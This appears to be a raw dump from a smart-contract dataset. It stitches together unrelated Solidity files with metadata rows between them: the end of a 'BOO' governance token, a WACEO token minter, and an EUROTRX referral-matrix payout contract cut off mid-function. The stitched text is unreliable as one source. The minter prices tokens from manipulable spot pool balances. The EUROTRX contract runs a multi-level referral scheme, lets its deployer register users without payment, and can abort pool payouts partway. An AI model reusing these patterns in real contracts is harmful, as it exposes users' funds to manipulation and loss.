function delegates(address delegator)
external
view
returns (address)
{
return _delegates[delegator];
}
function delegate(address delegatee) external {
return _delegate(msg.sender, delegatee);
}
function delegateBySig(address delegatee, uint nonce, uint expiry, uint8 v, bytes32 r, bytes32 s) external {
bytes32 domainSeparator = keccak256(abi.encode(DOMAIN_TYPEHASH,
keccak256(bytes(name())),
getChainId(),
address(this)));
bytes32 structHash = keccak256(abi.encode(DELEGATION_TYPEHASH,
delegatee,
nonce,
expiry));
bytes32 digest = keccak256(abi.encodePacked("\x19\x01",
domainSeparator,
structHash));
address signatory = ecrecover(digest, v, r, s);
require(signatory != address(0), "BOO::delegateBySig: invalid signature");
require(nonce == _useNonce(signatory), "BOO::delegateBySig: invalid nonce");
require(block.timestamp <= expiry, "BOO::delegateBySig: signature expired");
return _delegate(signatory, delegatee);
}
function getCurrentVotes(address account)
external
view
returns (uint256)
{
uint32 nCheckpoints = numCheckpoints[account];
return nCheckpoints > 0 ? checkpoints[account][nCheckpoints - 1].votes : 0;
}
function getPriorVotes(address account, uint blockNumber)
external
view
returns (uint256)
{
require(blockNumber < block.number, "BOO::getPriorVotes: not yet determined");
uint32 nCheckpoints = numCheckpoints[account];
if (nCheckpoints == 0) {
return 0;
}
// First check most recent balance
if (checkpoints[account][nCheckpoints - 1].fromBlock <= blockNumber) {
return checkpoints[account][nCheckpoints - 1].votes;
}
// Next check implicit zero balance
if (checkpoints[account][0].fromBlock > blockNumber) {
return 0;
}
uint32 lower = 0;
uint32 upper = nCheckpoints - 1;
while (upper > lower) {
uint32 center = upper - (upper - lower) / 2; // ceil, avoiding overflow
Checkpoint memory cp = checkpoints[account][center];
if (cp.fromBlock == blockNumber) {
return cp.votes;
} else if (cp.fromBlock < blockNumber) {
lower = center;
} else {
upper = center - 1;
}
}
return checkpoints[account][lower].votes;
}
function _delegate(address delegator, address delegatee)
internal
{
address currentDelegate = _delegates[delegator];
uint256 delegatorBalance = balanceOf(delegator); // balance of underlying BOOs (not scaled);
_delegates[delegator] = delegatee;
emit DelegateChanged(delegator, currentDelegate, delegatee);
_moveDelegates(currentDelegate, delegatee, delegatorBalance);
}
function _moveDelegates(address srcRep, address dstRep, uint256 amount) internal {
if (srcRep != dstRep && amount > 0) {
if (srcRep != address(0)) {
// decrease old representative
uint32 srcRepNum = numCheckpoints[srcRep];
uint256 srcRepOld = srcRepNum > 0 ? checkpoints[srcRep][srcRepNum - 1].votes : 0;
uint256 srcRepNew = srcRepOld - amount;
_writeCheckpoint(srcRep, srcRepNum, srcRepOld, srcRepNew);
}
if (dstRep != address(0)) {
// increase new representative
uint32 dstRepNum = numCheckpoints[dstRep];
uint256 dstRepOld = dstRepNum > 0 ? checkpoints[dstRep][dstRepNum - 1].votes : 0;
uint256 dstRepNew = dstRepOld + amount;
_writeCheckpoint(dstRep, dstRepNum, dstRepOld, dstRepNew);
}
}
}
function _writeCheckpoint(address delegatee,
uint32 nCheckpoints,
uint256 oldVotes,
uint256 newVotes)
internal
{
uint32 blockNumber = safe32(block.number, "BOO::_writeCheckpoint: block number exceeds 32 bits");
if (nCheckpoints > 0 && checkpoints[delegatee][nCheckpoints - 1].fromBlock == blockNumber) {
checkpoints[delegatee][nCheckpoints - 1].votes = newVotes;
} else {
checkpoints[delegatee][nCheckpoints] = Checkpoint(blockNumber, newVotes);
numCheckpoints[delegatee] = nCheckpoints + 1;
}
emit DelegateVotesChanged(delegatee, oldVotes, newVotes);
}
function safe32(uint n, string memory errorMessage) internal pure returns (uint32) {
require(n < 2**32, errorMessage);
return uint32(n);
}
function getChainId() internal view returns (uint) {
uint256 chainId;
assembly { chainId := chainid() }
return chainId;
}
}
| 330,163 | 10,683 |
d715cb99471f4bcf0262f32dd8e428d811e76bfdd94ed9b1c39ceeefe52f6c9e
| 23,218 |
.sol
|
Solidity
| false |
454032456
|
tintinweb/smart-contract-sanctuary-avalanche
|
39792ff211cb89e79e9eb6ee7278f6843acb5cc6
|
contracts/testnet/2c/2c7ff5bbbba4312850cea6bd05ab46a25414a0a6_Minter.sol
| 5,071 | 18,125 |
// SPDX-License-Identifier: AGPL-3.0-or-later
pragma solidity 0.8.0;
interface IERC20 {
function allowance(address owner, address spender) external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
function decimals() external view returns (uint8);
function mint(address account_, uint256 amount_) external;
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
}
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() {
_setOwner(_msgSender());
}
function owner() public view virtual returns (address) {
return _owner;
}
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
_setOwner(address(0));
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_setOwner(newOwner);
}
function _setOwner(address newOwner) private {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
contract Minter is Ownable {
using SafeMath for uint256;
enum MANAGING {
Waceo,
BaseToken,
Treasury,
Base_Waceo_LP,
Max_Ammount
}
event Mint_Basic(address indexed recipient, uint256 amount);
event Mint_Single(uint256 amount);
event Mint_Double(uint256 amount, address indexed token, address lp);
event DistributeBasicMint(address indexed recipient, uint256 amount);
event DistributeSingleMint(uint256 amount);
event DistributeDoubleMint(uint256 amount, address indexed token, address lp);
address public Waceo;
address public Treasury;
address public BaseToken;
address public Base_Waceo_LP;
uint256 public maxAmount = 1000000000000000;
struct Distribution {
address _address;
uint256 _amount;
}
struct BasicRequest {
address sender;
uint256 amount;
uint256 createDate;
uint256 updateDate;
bool isApproved;
bool isDeclined;
bool active;
}
struct SingleAutoAllocationRequest {
uint256 amount;
uint256 createDate;
uint256 updateDate;
bool isApproved;
bool isDeclined;
bool active;
}
struct DoubleAutoAllocationRequest {
uint256 amount;
address token;
address lp;
address sender;
uint256 waceoAmount;
uint256 createDate;
uint256 updateDate;
bool isApproved;
bool isDeclined;
bool active;
}
bool distributionEnabled;
Distribution public LP_Controller;
Distribution public Founding_Team;
Distribution public WACEO_LP_Rewards;
Distribution public WACEO_Operational;
Distribution public WACEO_Dev;
Distribution public WACEO_Regulations;
Distribution public WACEO_Unrekt;
mapping(address => BasicRequest) public basic_mintRequests;
mapping(address => SingleAutoAllocationRequest) public single_autoAllocation_mintRequests;
mapping(address => DoubleAutoAllocationRequest) public double_autoAllocation_mintRequests;
constructor(address _waceo,
address _treasury,
address _baseToken,
address _base_waceo_lp) Ownable() {
Waceo = _waceo;
Treasury = _treasury;
BaseToken = _baseToken;
Base_Waceo_LP = _base_waceo_lp;
}
function validateDistribution(Distribution memory _distribution) internal pure returns(bool){
if(_distribution._amount < 100000000000 &&
_distribution._address != address(0)){
return true;
}else {
return false;
}
}
function mint_basic (address _address,
uint256 _amount) external returns (bool){
require(_amount > 0 && _amount <= maxAmount, "Wrong amount");
require(_address != address(0), "Wrong address");
basic_mintRequests[msg.sender] = BasicRequest({
sender: _address,
amount: _amount,
createDate: block.timestamp,
updateDate: 0,
isApproved: false,
isDeclined: false,
active: true
});
emit Mint_Basic(_address, _amount);
return true;
}
function mint_auto_allocate_single (uint256 _amount) external returns (bool){
require(_amount > 0 && _amount <= maxAmount, "Wrong amount");
single_autoAllocation_mintRequests[msg.sender] = SingleAutoAllocationRequest({
amount: _amount,
createDate: block.timestamp,
updateDate: 0,
isApproved: false,
isDeclined: false,
active: true
});
emit Mint_Single(_amount);
return true;
}
function mint_auto_allocate_double (uint256 _amount,
address _token,
address _lp) external returns (bool){
require(_amount > 0, "Wrong token amount");
require(_token != address(0), "Wrong token address");
if(_token != BaseToken){
require(_lp != address(0), "Wrong LP address");
}
uint256 _waceoAmount = waceoValueByToken(_token, _lp, _amount);
require(_waceoAmount > 0 && _waceoAmount <= maxAmount, "Wrong WACEO amount");
double_autoAllocation_mintRequests[msg.sender] = DoubleAutoAllocationRequest({
amount: _amount,
token: _token,
lp: _lp,
sender: msg.sender,
waceoAmount: _waceoAmount,
createDate: block.timestamp,
updateDate: 0,
isApproved: false,
isDeclined: false,
active: true
});
emit Mint_Double(_amount, _token, _lp);
return true;
}
function distribute_basic_mint(address _address, bool _approve) external onlyOwner returns(bool){
require(basic_mintRequests[_address].active, "There are no requests from the _address");
require(basic_mintRequests[_address].isApproved == false, "The request already approved");
require(basic_mintRequests[_address].isDeclined == false, "The request already declined");
BasicRequest storage request = basic_mintRequests[_address];
if(_approve){
IERC20(Waceo).mint(request.sender, request.amount);
request.isApproved = true;
}else{
request.isDeclined = true;
}
request.updateDate = block.timestamp;
emit DistributeBasicMint(request.sender, request.amount);
return true;
}
function distribute_single_mint(address _address, bool _approve) external onlyOwner returns(bool){
require(distributionEnabled, "Distribution not enabled");
require(single_autoAllocation_mintRequests[_address].active, "There are no requests from the _address");
require(single_autoAllocation_mintRequests[_address].isApproved == false, "The request already approved");
require(single_autoAllocation_mintRequests[_address].isDeclined == false, "The request already declined");
uint256 _amount = single_autoAllocation_mintRequests[_address].amount;
if(_approve){
if(LP_Controller._amount > 0){
uint256 _LP_Controller_Value = _amount.mul(LP_Controller._amount).div(10**IERC20(Waceo).decimals()).div(100);
IERC20(Waceo).mint(LP_Controller._address, _LP_Controller_Value);
}
if(Founding_Team._amount > 0){
uint256 _Founding_Team_Value = _amount.mul(Founding_Team._amount).div(10**IERC20(Waceo).decimals()).div(100);
IERC20(Waceo).mint(Founding_Team._address, _Founding_Team_Value);
}
if(WACEO_LP_Rewards._amount > 0){
uint256 _WACEO_LP_Rewards_Value = _amount.mul(WACEO_LP_Rewards._amount).div(10**IERC20(Waceo).decimals()).div(100);
IERC20(Waceo).mint(WACEO_LP_Rewards._address, _WACEO_LP_Rewards_Value);
}
if(WACEO_Operational._amount > 0){
uint256 _WACEO_Operational_Value = _amount.mul(WACEO_Operational._amount).div(10**IERC20(Waceo).decimals()).div(100);
IERC20(Waceo).mint(WACEO_Operational._address, _WACEO_Operational_Value);
}
if(WACEO_Dev._amount > 0){
uint256 _WACEO_Dev_Value = _amount.mul(WACEO_Dev._amount).div(10**IERC20(Waceo).decimals()).div(100);
IERC20(Waceo).mint(WACEO_Dev._address, _WACEO_Dev_Value);
}
if(WACEO_Regulations._amount > 0){
uint256 _WACEO_Regulations_Value = _amount.mul(WACEO_Regulations._amount).div(10**IERC20(Waceo).decimals()).div(100);
IERC20(Waceo).mint(WACEO_Regulations._address, _WACEO_Regulations_Value);
}
if(WACEO_Unrekt._amount > 0){
uint256 _WACEO_Unrekt_Value = _amount.mul(WACEO_Unrekt._amount).div(10**IERC20(Waceo).decimals()).div(100);
IERC20(Waceo).mint(WACEO_Unrekt._address, _WACEO_Unrekt_Value);
}
single_autoAllocation_mintRequests[_address].isApproved = true;
}else{
single_autoAllocation_mintRequests[_address].isDeclined = true;
}
single_autoAllocation_mintRequests[_address].updateDate = block.timestamp;
emit DistributeSingleMint(_amount);
return true;
}
function distribute_double_mint(address _address, bool _approve) external onlyOwner returns(bool){
require(distributionEnabled, "Distribution not enabled");
require(double_autoAllocation_mintRequests[_address].active, "There are no requests from the _address");
require(double_autoAllocation_mintRequests[_address].isApproved == false, "The request already approved");
require(double_autoAllocation_mintRequests[_address].isDeclined == false, "The request already approved");
DoubleAutoAllocationRequest storage request = double_autoAllocation_mintRequests[_address];
if(_approve){
uint256 _amount = request.waceoAmount;
uint256 _value = request.amount.mul(10** IERC20(request.token).decimals()).div(10** IERC20(Waceo).decimals());
require(IERC20(request.token).allowance(request.sender, address(this)) >= _value, "Insufficient allowance");
IERC20(request.token).transferFrom(request.sender, Treasury, _value);
IERC20(Waceo).mint(request.sender, _amount);
if(LP_Controller._amount > 0){
uint256 _LP_Controller_Value = _amount.mul(LP_Controller._amount).div(10**IERC20(Waceo).decimals()).div(100);
IERC20(Waceo).mint(LP_Controller._address, _LP_Controller_Value);
}
if(Founding_Team._amount > 0){
uint256 _Founding_Team_Value = _amount.mul(Founding_Team._amount).div(10**IERC20(Waceo).decimals()).div(100);
IERC20(Waceo).mint(Founding_Team._address, _Founding_Team_Value);
}
if(WACEO_LP_Rewards._amount > 0){
uint256 _WACEO_LP_Rewards_Value = _amount.mul(WACEO_LP_Rewards._amount).div(10**IERC20(Waceo).decimals()).div(100);
IERC20(Waceo).mint(WACEO_LP_Rewards._address, _WACEO_LP_Rewards_Value);
}
if(WACEO_Operational._amount > 0){
uint256 _WACEO_Operational_Value = _amount.mul(WACEO_Operational._amount).div(10**IERC20(Waceo).decimals()).div(100);
IERC20(Waceo).mint(WACEO_Operational._address, _WACEO_Operational_Value);
}
if(WACEO_Dev._amount > 0){
uint256 _WACEO_Dev_Value = _amount.mul(WACEO_Dev._amount).div(10**IERC20(Waceo).decimals()).div(100);
IERC20(Waceo).mint(WACEO_Dev._address, _WACEO_Dev_Value);
}
if(WACEO_Regulations._amount > 0){
uint256 _WACEO_Regulations_Value = _amount.mul(WACEO_Regulations._amount).div(10**IERC20(Waceo).decimals()).div(100);
IERC20(Waceo).mint(WACEO_Regulations._address, _WACEO_Regulations_Value);
}
if(WACEO_Unrekt._amount > 0){
uint256 _WACEO_Unrekt_Value = _amount.mul(WACEO_Unrekt._amount).div(10**IERC20(Waceo).decimals()).div(100);
IERC20(Waceo).mint(WACEO_Unrekt._address, _WACEO_Unrekt_Value);
}
request.isApproved = true;
}else{
request.isDeclined = true;
}
request.updateDate = block.timestamp;
emit DistributeDoubleMint(request.amount, request.token, request.lp);
return true;
}
function setContract (MANAGING _managing,
address _address,
uint256 _amount) external onlyOwner returns(bool) {
require(_address != address(0), "Wrong address");
if (_managing == MANAGING.Waceo) { // 0
Waceo = _address;
} else if (_managing == MANAGING.BaseToken) { // 1
BaseToken = _address;
} else if (_managing == MANAGING.Treasury) { // 2
Treasury = _address;
} else if (_managing == MANAGING.Base_Waceo_LP) { // 3
Base_Waceo_LP = _address;
} else if (_managing == MANAGING.Max_Ammount) { // 4
require(_amount > 0, "Wrong amount");
maxAmount = _amount;
}
return(true);
}
function setDistribution(Distribution memory _lp_controller,
Distribution memory _founding_team,
Distribution memory _waceo_lp_rewards,
Distribution memory _waceo_operational,
Distribution memory _waceo_dev,
Distribution memory _waceo_regulations,
Distribution memory _waceo_unrekt) external onlyOwner returns (bool){
require(validateDistribution(_lp_controller), "LP_Controller: Wrong values");
require(validateDistribution(_founding_team), "Founding_Team: Wrong values");
require(validateDistribution(_waceo_lp_rewards), "WACEO_LP_Rewards: Wrong values");
require(validateDistribution(_waceo_operational), "WACEO_Operational: Wrong values");
require(validateDistribution(_waceo_dev), "WACEO_Dev: Wrong values");
require(validateDistribution(_waceo_regulations), "WACEO_Regulations: Wrong values");
require(validateDistribution(_waceo_unrekt), "WACEO_Unrekt: Wrong values");
LP_Controller = _lp_controller;
Founding_Team = _founding_team;
WACEO_LP_Rewards = _waceo_lp_rewards;
WACEO_Operational = _waceo_operational;
WACEO_Dev = _waceo_dev;
WACEO_Regulations = _waceo_regulations;
WACEO_Unrekt = _waceo_unrekt;
distributionEnabled = true;
return(true);
}
function waceoValueByToken(address _token, address _lp, uint256 _amount) public view returns (uint256 value_) {
require(_token != address(0), "Wrong token address");
require(_amount > 0, "Wrong amount");
uint256 _baseAmount = _amount;
uint256 _waceoValueInBaseToken = waceoValueInBaseToken();
if(_token != BaseToken){
uint256 _baseValue = IERC20(BaseToken).balanceOf(_lp).div(10**IERC20(BaseToken).decimals()).mul(10**IERC20(Waceo).decimals());
uint256 _tokenValue = IERC20(_token).balanceOf(_lp).div(10**IERC20(_token).decimals()).mul(10**IERC20(Waceo).decimals());
require(_baseValue > 0, "Base token - Insufficient pool supply");
require(_tokenValue > 0, "Token - Insufficient pool supply");
uint256 _tokenValueInBaseToken = _baseValue.mul(10**IERC20(Waceo).decimals()).div(_tokenValue);
_baseAmount = _tokenValueInBaseToken.mul(_amount).div(10**IERC20(Waceo).decimals());
}
value_ = _baseAmount.mul(10** IERC20(Waceo).decimals()).div(_waceoValueInBaseToken);
}
function waceoValueInBaseToken() public view returns (uint256 price_) {
uint256 _baseValue = IERC20(BaseToken).balanceOf(Base_Waceo_LP).div(10**IERC20(BaseToken).decimals()).mul(10**IERC20(Waceo).decimals());
uint256 _waceoValue = IERC20(Waceo).balanceOf(Base_Waceo_LP);
require(_baseValue > 0, "Base token - Insufficient pool supply");
require(_waceoValue > 0, "WACEO - Insufficient pool supply");
price_ = _baseValue.mul(10**IERC20(Waceo).decimals()).div(_waceoValue);
}
}
| 116,338 | 10,684 |
56ed55e7db4b17e4c8fc880a8879de10ab9840989aabcf5d0171507ded88ab4d
| 18,849 |
.sol
|
Solidity
| false |
453466497
|
tintinweb/smart-contract-sanctuary-tron
|
44b9f519dbeb8c3346807180c57db5337cf8779b
|
contracts/mainnet/TQ/TQTf3eoi4RWNqVvqheqvGi9YXWpdU4n4qn_EUROTRX.sol
| 4,588 | 17,428 |
//SourceUnit: tron.sol
pragma solidity >=0.4.23 <0.6.0;
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract EUROTRX {
using SafeMath for uint256;
struct USER {
bool joined;
uint id;
address payable upline;
uint personalCount;
uint poolAchiever;
bool is_trx_pool;
bool is_euro_trx_pool;
uint256 originalReferrer;
mapping(uint8 => MATRIX) Matrix;
mapping(uint8 => bool) activeLevel;
}
struct MATRIX {
address payable currentReferrer;
address payable[] referrals;
}
modifier onlyDeployer() {
require(msg.sender == deployer, "Only Deployer");
_;
}
uint maxDownLimit = 2;
uint public lastIDCount = 0;
uint public LAST_LEVEL = 9;
uint public poolTime = 24 hours;
uint public nextClosingTime = now + poolTime;
uint public deployerValidation = now + 24 hours;
address[] public trxPoolUsers;
address[] public euroTrxPoolUsers;
mapping(address => USER) public users;
mapping(uint256 => uint256) public LevelPrice;
uint256 public trxPoolAmount = 0;
uint256 public euroTrxPoolAmount = 0;
uint public DirectIncomeShare = 34;
uint public MatrixIncomeShare = 1;
uint public OverRideShare = 3;
uint public OtherOverRideShare = 3;
uint public CompanyShare = 9;
mapping(uint256 => uint256) public LevelIncome;
event Registration(address userAddress, uint256 accountId, uint256 refId);
event NewUserPlace(uint256 accountId, uint256 refId, uint place, uint level);
event Direct(uint256 accountId, uint256 from_id, uint8 level, uint256 amount);
event Level(uint256 accountId, uint256 from_id, uint8 level, uint networkLevel, uint256 amount);
event Matrix(uint256 accountId, uint256 from_id, uint8 level, uint networkLevel, uint256 amount);
event PoolEnterTrx(uint256 accountId, uint256 time);
event PoolEnterEuroTrx(uint256 accountId, uint256 time);
event PoolTrxIncome(uint256 accountId, uint256 amount);
event PoolEuroTrxIncome(uint256 accountId, uint256 amount);
event PoolAmountTrx(uint256 amount);
event PoolAmountEuroTrx(uint256 amount);
address public deployer;
address payable Company;
address payable public owner;
address payable public overRide;
address payable public otherOverRide;
mapping(uint256 => address payable) public userAddressByID;
constructor(address payable owneraddress, address payable _overRide, address payable _company, address payable _otherOverRide)
public
{
owner = owneraddress;
overRide = _overRide;
Company = _company;
otherOverRide = _otherOverRide;
deployer = msg.sender;
LevelPrice[1] = 1250000000;
for (uint8 i = 2; i <= LAST_LEVEL; i++) {
LevelPrice[i] = LevelPrice[i-1] * 2;
}
LevelIncome[1] = 10;
LevelIncome[2] = 5;
LevelIncome[3] = 4;
LevelIncome[4] = 3;
LevelIncome[5] = 2;
LevelIncome[6] = 2;
LevelIncome[7] = 2;
LevelIncome[8] = 2;
LevelIncome[9] = 2;
USER memory user;
lastIDCount++;
user = USER({joined: true, id: lastIDCount, originalReferrer: 1, personalCount : 0, upline:address(0), poolAchiever : 0, is_trx_pool : false, is_euro_trx_pool :false});
users[owneraddress] = user;
userAddressByID[lastIDCount] = owneraddress;
for (uint8 i = 1; i <= LAST_LEVEL; i++) {
users[owneraddress].activeLevel[i] = true;
}
trxPoolUsers.push(owneraddress);
users[owneraddress].is_trx_pool = true;
}
function regUserDeployer(address payable userAddress, uint256 _referrerID) external onlyDeployer {
//this function is to rebind the users of old contract which is enabled only for first 24 hours only
require(deployerValidation > now, "This function is disabled!!!");
regUserInternal(userAddress, _referrerID);
}
function regUser(uint256 _referrerID) external payable {
require(msg.value == LevelPrice[1], "Incorrect Value");
regUserInternal(msg.sender, _referrerID);
}
function regUserInternal(address payable userAddress, uint256 _referrerID) internal {
uint256 originalReferrer = _referrerID;
uint8 _level = 1;
require(!users[userAddress].joined, "User exist");
require(_referrerID > 0 && _referrerID <= lastIDCount,"Incorrect referrer Id");
if (users[userAddressByID[_referrerID]].Matrix[_level].referrals.length >=maxDownLimit) {
_referrerID = users[findFreeReferrer(userAddressByID[_referrerID],_level)].id;
}
users[userAddressByID[originalReferrer]].personalCount++;
USER memory UserInfo;
lastIDCount++;
UserInfo = USER({
joined: true,
id: lastIDCount,
upline : userAddressByID[originalReferrer],
originalReferrer: originalReferrer,
personalCount:0,
poolAchiever : 0,
is_trx_pool : false,
is_euro_trx_pool :false
});
users[userAddress] = UserInfo;
userAddressByID[lastIDCount] = userAddress;
emit Registration(userAddress, lastIDCount, originalReferrer);
users[userAddress].Matrix[_level].currentReferrer = userAddressByID[_referrerID];
users[userAddressByID[_referrerID]].Matrix[_level].referrals.push(userAddress);
emit NewUserPlace(lastIDCount, _referrerID, users[userAddressByID[_referrerID]].Matrix[1].referrals.length, _level);
users[userAddress].activeLevel[_level] = true;
if(msg.sender != deployer){
trxPoolAmount += LevelPrice[_level] / 20;
emit PoolAmountTrx(LevelPrice[_level] / 20);
euroTrxPoolAmount += LevelPrice[_level] / 20;
emit PoolAmountEuroTrx(LevelPrice[_level] / 20);
Company.transfer(LevelPrice[_level] * CompanyShare / 100);
overRide.transfer(LevelPrice[_level] * OverRideShare / 100);
otherOverRide.transfer(LevelPrice[_level] * OtherOverRideShare / 100);
}
distributeDirectIncome(userAddress, _level);
levelIncomeDistribution(userAddress, _level);
matrixIncomeDistribution(userAddress, _level);
}
function buyLevelDeployer(address payable userAddress, uint8 _level) external onlyDeployer {
//this function is to rebind the users of old contract which is enabled only for first 24 hours only
require(deployerValidation > now, "This function is disabled!!!");
buyLevelInternal(userAddress, _level);
}
function buyLevel(uint8 _level) public payable {
require(msg.value == LevelPrice[_level], "Incorrect Value");
buyLevelInternal(msg.sender, _level);
}
function buyLevelInternal(address payable userAddress, uint8 _level) internal {
require(users[userAddress].joined, "User Not");
require(_level > 1 && _level <= LAST_LEVEL, "Incorrect Level");
require(!users[userAddress].activeLevel[_level], "Already active");
require(users[userAddress].activeLevel[_level - 1], "Previous Level");
uint256 _referrerID = findFreeActiveReferrer(userAddress, _level);
if (users[userAddressByID[_referrerID]].Matrix[_level].referrals.length >=maxDownLimit) {
_referrerID = users[findFreeReferrer(userAddressByID[_referrerID],_level)].id;
}
users[userAddress].Matrix[_level].currentReferrer = userAddressByID[_referrerID];
users[userAddressByID[_referrerID]].Matrix[_level].referrals.push(userAddress);
emit NewUserPlace(users[userAddress].id, _referrerID, users[userAddressByID[_referrerID]].Matrix[_level].referrals.length, _level);
users[userAddress].activeLevel[_level] = true;
if(msg.sender != deployer) {
trxPoolAmount += LevelPrice[_level] / 20;
emit PoolAmountTrx(LevelPrice[_level] / 20);
euroTrxPoolAmount += LevelPrice[_level] / 20;
emit PoolAmountEuroTrx(LevelPrice[_level] / 20);
Company.transfer(LevelPrice[_level] * CompanyShare / 100);
overRide.transfer(LevelPrice[_level] * OverRideShare / 100);
otherOverRide.transfer(LevelPrice[_level] * OtherOverRideShare / 100);
}
distributeDirectIncome(userAddress, _level);
levelIncomeDistribution(userAddress, _level);
matrixIncomeDistribution(userAddress, _level);
if(_level == LAST_LEVEL) {
emit PoolEnterTrx(users[userAddress].id, now);
users[userAddress].is_trx_pool = true;
trxPoolUsers.push(userAddress);
users[users[userAddress].upline].poolAchiever++;
if(users[users[userAddress].upline].is_euro_trx_pool == false) {
if(users[users[userAddress].upline].poolAchiever >= 2 && users[users[userAddress].upline].is_trx_pool == true){
emit PoolEnterEuroTrx(users[userAddress].originalReferrer, now);
users[users[userAddress].upline].is_euro_trx_pool = true;
euroTrxPoolUsers.push(users[userAddress].upline);
}
}
if(users[userAddress].is_euro_trx_pool == false) {
if(users[userAddress].poolAchiever >= 2) {
emit PoolEnterEuroTrx(users[userAddress].originalReferrer, now);
users[userAddress].is_euro_trx_pool = true;
euroTrxPoolUsers.push(userAddress);
}
}
}
}
function distributeDirectIncome(address _user, uint8 _level) internal {
uint256 income = LevelPrice[_level] * DirectIncomeShare / 100;
if(users[_user].upline != address(0)) {
if(users[users[_user].upline].activeLevel[_level] == true) {
emit Direct(users[_user].originalReferrer,users[_user].id, _level, income);
if(msg.sender != deployer){
(users[_user].upline).transfer(income);
}
}
else {
if(msg.sender != deployer){
trxPoolAmount += income / 2;
emit PoolAmountTrx(income / 2);
euroTrxPoolAmount += income / 2;
emit PoolAmountEuroTrx(income / 2);
}
}
}
}
function levelIncomeDistribution(address _user, uint8 _level) internal {
address payable _upline = users[_user].upline;
for(uint8 i = 1; i <= 9; i++) {
uint256 income = LevelPrice[_level] * LevelIncome[i] / 100;
if(_upline != address(0)) {
emit Level(users[_upline].id, users[_user].id, _level, i, income);
if(msg.sender != deployer){
if(!address(uint160(_upline)).send(income)) {
address(uint160(_upline)).transfer(income);
}
}
_upline = users[_upline].upline;
}
else {
if(msg.sender != deployer){
trxPoolAmount += income / 2;
emit PoolAmountTrx(income / 2);
euroTrxPoolAmount += income / 2;
emit PoolAmountEuroTrx(income / 2);
}
}
}
}
function matrixIncomeDistribution(address _user, uint8 _level) internal {
address payable _upline = users[_user].Matrix[_level].currentReferrer;
for(uint8 i = 1; i <= 9; i++) {
uint256 income = LevelPrice[_level] * MatrixIncomeShare / 100;
if(_upline != address(0)) {
if(users[_upline].activeLevel[i] == true) {
emit Matrix(users[_upline].id, users[_user].id, _level, i, income);
if(msg.sender != deployer){
if(!address(uint160(_upline)).send(income)) {
address(uint160(_upline)).transfer(income);
}
}
}
else {
if(msg.sender != deployer){
trxPoolAmount += income / 2;
emit PoolAmountTrx(income / 2);
euroTrxPoolAmount += income / 2;
emit PoolAmountEuroTrx(income / 2);
}
}
_upline = users[_upline].Matrix[_level].currentReferrer;
}
else {
if(msg.sender != deployer){
trxPoolAmount += income / 2;
emit PoolAmountTrx(income / 2);
euroTrxPoolAmount += income / 2;
emit PoolAmountEuroTrx(income / 2);
}
}
}
}
function findFreeActiveReferrer(address userAddress, uint8 level) internal view returns(uint256) {
while (true) {
if (users[users[userAddress].upline].activeLevel[level] == true) {
return users[users[userAddress].upline].id;
}
userAddress = users[userAddress].upline;
}
}
function poolClosing(uint pool) public onlyDeployer {
require(now > nextClosingTime, "Closing Time not came yet!!!");
if(now > nextClosingTime){
if(pool == 1) {
if(trxPoolAmount > 0) {
uint256 perUserAmount = trxPoolAmount / trxPoolUsers.length;
for(uint i = 0; i < trxPoolUsers.length; i++) {
address userAddress = trxPoolUsers[i];
emit PoolTrxIncome(users[userAddress].id, perUserAmount);
if(!address(uint160(userAddress)).send(perUserAmount)){
return address(uint160(userAddress)).transfer(perUserAmount);
}
}
trxPoolAmount = 0;
}
}
if(pool == 2) {
if(euroTrxPoolAmount > 0) {
uint256 perUserAmount = euroTrxPoolAmount / euroTrxPoolUsers.length;
for(uint i = 0; i < euroTrxPoolUsers.length; i++) {
address userAddress = euroTrxPoolUsers[i];
emit PoolEuroTrxIncome(users[userAddress].id, perUserAmount);
if(!address(uint160(userAddress)).send(perUserAmount)){
return address(uint160(userAddress)).transfer(perUserAmount);
}
}
euroTrxPoolAmount = 0;
}
nextClosingTime = now.add(poolTime);
}
}
}
function findFreeReferrer(address _user, uint8 _level) internal view returns(address) {
if(users[_user].Matrix[_level].referrals.length < maxDownLimit){
return _user;
}
address[] memory referrals = new address[](2046);
referrals[0] = users[_user].Matrix[_level].referrals[0];
referrals[1] = users[_user].Matrix[_level].referrals[1];
address freeReferrer;
bool noFreeReferrer = true;
for(uint i =0; i<2046;i++){
